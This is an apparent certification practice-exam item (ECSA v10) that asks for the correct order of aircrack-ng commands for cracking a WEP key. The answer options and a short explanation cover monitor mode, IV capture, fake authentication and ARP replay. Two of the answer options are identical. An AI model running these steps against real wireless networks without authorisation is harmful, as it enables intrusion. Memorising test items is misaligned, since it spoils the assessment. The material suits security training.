ECSA v10: EC-Council Certified Security Analyst v10Demo

By ECCouncil · Question Mode

QuestionQ78

Wireless Penetration Testing Methodology

Put the WEP-cracking process in the proper sequence:

I. aireplay-ng -1 0 -e SECRET_SSID -a 1e:64:51:3b:ff:3e -h a7:71:fe:8e:d8:25 eth1

II. aircrack-ng -s capture.ivs -

III. airmon-ng start eth1 -

IV. airodump-ng --ivs --write capture eth1

V. aireplay-ng -3 -b 1e:64:51:3b:ff:3e -h a7:71:fe:8e:d8:25 eth1

  • A IV-->I-->V-->III-->II
  • B III-->IV-->V-->II-->I
  • C III-->IV-->I-->V-->II
  • D IV-->I-->V-->III-->II
Explanation

airmon-ng enables monitor mode, after which airodump-ng can capture WEP initialization vectors (IVs). Fake authentication (aireplay-ng -1) establishes the prerequisite association for ARP-request replay (aireplay-ng -3), which generates traffic and additional IVs. aircrack-ng is run against the resulting IV capture to attempt WEP key recovery.

Learn more

Community Discussion

No comments yet. Be the first to start the discussion!